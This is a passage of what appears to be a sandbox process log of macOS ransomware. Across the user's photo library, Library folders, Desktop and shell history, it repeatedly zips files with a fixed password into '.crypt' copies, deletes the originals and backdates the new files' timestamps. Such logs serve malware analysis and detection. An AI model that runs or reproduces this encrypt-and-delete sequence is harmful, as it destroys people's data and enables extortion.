  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
  2⤵
  PID:824
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
  2⤵
  PID:825
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
  2⤵
  PID:825
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite.crypt"
  2⤵
  PID:826
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
  2⤵
  PID:827
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
  2⤵
  PID:828
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
  2⤵
  PID:828
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm.crypt"
  2⤵
  PID:829
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
  2⤵
  PID:830
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
  2⤵
  PID:831
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
  2⤵
  PID:831
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
  2⤵
  PID:832
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
  2⤵
  PID:833
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
  2⤵
  PID:833
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist.crypt"
  2⤵
  PID:834
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
  2⤵
  PID:835
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
  2⤵
  PID:836
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
  2⤵
  PID:836
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist.crypt"
  2⤵
  PID:837
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
  2⤵
  PID:838
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
  2⤵
  PID:839
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter"
  2⤵
  PID:839
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PersonPromoter.crypt"
  2⤵
  PID:840
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
  2⤵
  PID:841
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
  2⤵
  PID:842
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data"
  2⤵
  PID:842
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/AlgoFaceClusterCache.data.crypt"
  2⤵
  PID:843
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:844
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:845
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:845
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/PhotoAnalysisServicePreferences.plist.crypt"
  2⤵
  PID:846
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
  2⤵
  PID:847
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
  2⤵
  PID:848
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.mediaanalysisd"
  2⤵
  PID:848
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/external.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external"
  2⤵
  PID:849
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external"
  2⤵
  PID:850
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external"
  2⤵
  PID:850
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
  2⤵
  PID:851
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
  2⤵
  PID:852
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.photoanalysisd"
  2⤵
  PID:852
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
  2⤵
  PID:853
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
  2⤵
  PID:854
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/external/com.apple.mediaanalysisd"
  2⤵
  PID:854
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/.zsh_history.crypt /Users//run/.zsh_history
  2⤵
  PID:855
- /usr/bin/rm
  rm /Users//run/.zsh_history
  2⤵
  PID:856
- /bin/rm
  rm /Users//run/.zsh_history
  2⤵
  PID:856
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/.zsh_history.crypt
  2⤵
  PID:857
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Desktop.crypt /Users//run/Desktop
  2⤵
  PID:858
- /usr/bin/rm
  rm /Users//run/Desktop
  2⤵
  PID:859
- /bin/rm
  rm /Users//run/Desktop
  2⤵
  PID:859
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Desktop/.localized.crypt /Users//run/Desktop/.localized
  2⤵
  PID:860
- /usr/bin/rm
  rm /Users//run/Desktop/.localized
  2⤵
  PID:861
- /bin/rm
  rm /Users//run/Desktop/.localized
  2⤵
  PID:861
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Desktop/.localized.crypt
  2⤵
  PID:862
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library.crypt /Users//run/Library
  2⤵
  PID:863
- /usr/bin/rm
  rm /Users//run/Library
  2⤵
  PID:864
- /bin/rm
  rm /Users//run/Library
  2⤵
  PID:864
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support.crypt" "/Users//run/Library/Application Support"
  2⤵
  PID:865
- /usr/bin/rm
  rm "/Users//run/Library/Application Support"
  2⤵
  PID:866
- /bin/rm
  rm "/Users//run/Library/Application Support"
  2⤵
  PID:866
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.replayd.crypt" "/Users//run/Library/Application Support/com.apple.replayd"
  2⤵
  PID:867
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.replayd"
  2⤵
  PID:868
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.replayd"
  2⤵
  PID:868
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent.crypt" "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent"
  2⤵
  PID:869
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent"
  2⤵
  PID:870
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.backgroundtaskmanagementagent"
  2⤵
  PID:870
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd"
  2⤵
  PID:871
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd"
  2⤵
  PID:872
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd"
  2⤵
  PID:872
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist"
  2⤵
  PID:873
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist"
  2⤵
  PID:874
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist"
  2⤵
  PID:874
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/KTPublicKeyStore.plist.crypt"
  2⤵
  PID:875
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite"
  2⤵
  PID:876
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite"
  2⤵
  PID:877
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite"
  2⤵
  PID:877
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite.crypt"
  2⤵
  PID:878
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist"
  2⤵
  PID:879
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist"
  2⤵
  PID:880
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist"
  2⤵
  PID:880
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/KTConfig.plist.crypt"
  2⤵
  PID:881
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal"
  2⤵
  PID:882
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal"
  2⤵
  PID:883
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal"
  2⤵
  PID:883
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-wal.crypt"
  2⤵
  PID:884
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm.crypt" "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm"
  2⤵
  PID:885
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm"
  2⤵
  PID:886
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm"
  2⤵
  PID:886
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.transparencyd/TransparencyModel.sqlite-shm.crypt"
  2⤵
  PID:887
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.touristd.crypt" "/Users//run/Library/Application Support/com.apple.touristd"
  2⤵
  PID:888
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.touristd"
  2⤵
  PID:889
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.touristd"
  2⤵
  PID:889
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist.crypt" "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist"
  2⤵
  PID:890
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist"
  2⤵
  PID:891
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist"
  2⤵
  PID:891
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.touristd/com.apple.touristd.plist.crypt"
  2⤵
  PID:892
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CoreParsec.crypt" "/Users//run/Library/Application Support/CoreParsec"
  2⤵
  PID:893
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CoreParsec"
  2⤵
  PID:894
- /bin/rm
  rm "/Users//run/Library/Application Support/CoreParsec"
  2⤵
  PID:894
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryTransactions.crypt" "/Users//run/Library/Application Support/CallHistoryTransactions"
  2⤵
  PID:895
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryTransactions"
  2⤵
  PID:896
- /bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryTransactions"
  2⤵
  PID:896
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log.crypt" "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log"
  2⤵
  PID:897
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log"
  2⤵
  PID:898
- /bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log"
  2⤵
  PID:898
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/CallHistoryTransactions/transaction.log.crypt"
  2⤵
  PID:899
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight.crypt" "/Users//run/Library/Application Support/com.apple.spotlight"
  2⤵
  PID:900
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight"
  2⤵
  PID:901
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight"
  2⤵
  PID:901
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist"
  2⤵
  PID:902
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist"
  2⤵
  PID:903
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist"
  2⤵
  PID:903
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.spotlight/parsecResources.plist.crypt"
  2⤵
  PID:904
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3"
  2⤵
  PID:905
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3"
  2⤵
  PID:906
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources.update_V3"
  2⤵
  PID:906
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports"
  2⤵
  PID:907
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports"
  2⤵
  PID:908
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/SubmittedReports"
  2⤵
  PID:908
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3"
  2⤵
  PID:909
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3"
  2⤵
  PID:910
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3"
  2⤵
  PID:910
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental"
  2⤵
  PID:911
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental"
  2⤵
  PID:912
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Experimental"
  2⤵
  PID:912
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow"
  2⤵
  PID:913
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow"
  2⤵
  PID:914
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Shadow"
  2⤵
  PID:914
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default"
  2⤵
  PID:915
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default"
  2⤵
  PID:916
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/Resources_V3/Default"
  2⤵
  PID:916
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat.crypt" "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat"
  2⤵
  PID:917
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat"
  2⤵
  PID:918
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat"
  2⤵
  PID:918
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.spotlight/appList.dat.crypt"
  2⤵
  PID:919
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/dmd.crypt" "/Users//run/Library/Application Support/dmd"
  2⤵
  PID:920
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/dmd"
  2⤵
  PID:921
- /bin/rm
  rm "/Users//run/Library/Application Support/dmd"
  2⤵
  PID:921
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look.crypt" "/Users//run/Library/Application Support/Quick Look"
  2⤵
  PID:922
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Quick Look"
  2⤵
  PID:923
- /bin/rm
  rm "/Users//run/Library/Application Support/Quick Look"
  2⤵
  PID:923
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db.crypt" "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db"
  2⤵
  PID:924
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db"
  2⤵
  PID:925
- /bin/rm
  rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db"
  2⤵
  PID:925
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db.crypt"
  2⤵
  PID:926
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm.crypt" "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm"
  2⤵
  PID:927
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm"
  2⤵
  PID:928
- /bin/rm
  rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm"
  2⤵
  PID:928
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-shm.crypt"
  2⤵
  PID:929
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal.crypt" "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal"
  2⤵
  PID:930
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal"
  2⤵
  PID:931
- /bin/rm
  rm "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal"
  2⤵
  PID:931
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Quick Look/cloudthumbnails.db-wal.crypt"
  2⤵
  PID:932
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CrashReporter.crypt" "/Users//run/Library/Application Support/CrashReporter"
  2⤵
  PID:933
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CrashReporter"
  2⤵
  PID:934
- /bin/rm
  rm "/Users//run/Library/Application Support/CrashReporter"
  2⤵
  PID:934
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt" "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
  2⤵
  PID:935
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
  2⤵
  PID:936
- /bin/rm
  rm "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
  2⤵
  PID:936
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/CrashReporter/Intervals_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt"
  2⤵
  PID:937
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt" "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
  2⤵
  PID:938
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
  2⤵
  PID:939
- /bin/rm
  rm "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist"
  2⤵
  PID:939
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/CrashReporter/meysam_C589348B-0863-5695-96A0-3DAE1B1C0B90.plist.crypt"
  2⤵
  PID:940
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CloudDocs.crypt" "/Users//run/Library/Application Support/CloudDocs"
  2⤵
  PID:941
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CloudDocs"
  2⤵
  PID:942
- /bin/rm
  rm "/Users//run/Library/Application Support/CloudDocs"
  2⤵
  PID:942
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist"
  2⤵
  PID:943
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist"
  2⤵
  PID:944
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist"
  2⤵
  PID:944
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments"
  2⤵
  PID:945
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments"
  2⤵
  PID:946
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments"
  2⤵
  PID:946
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2"
  2⤵
  PID:947
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2"
  2⤵
  PID:948
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2"
  2⤵
  PID:948
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ProjectsItems.sfl2.crypt"
  2⤵
  PID:949
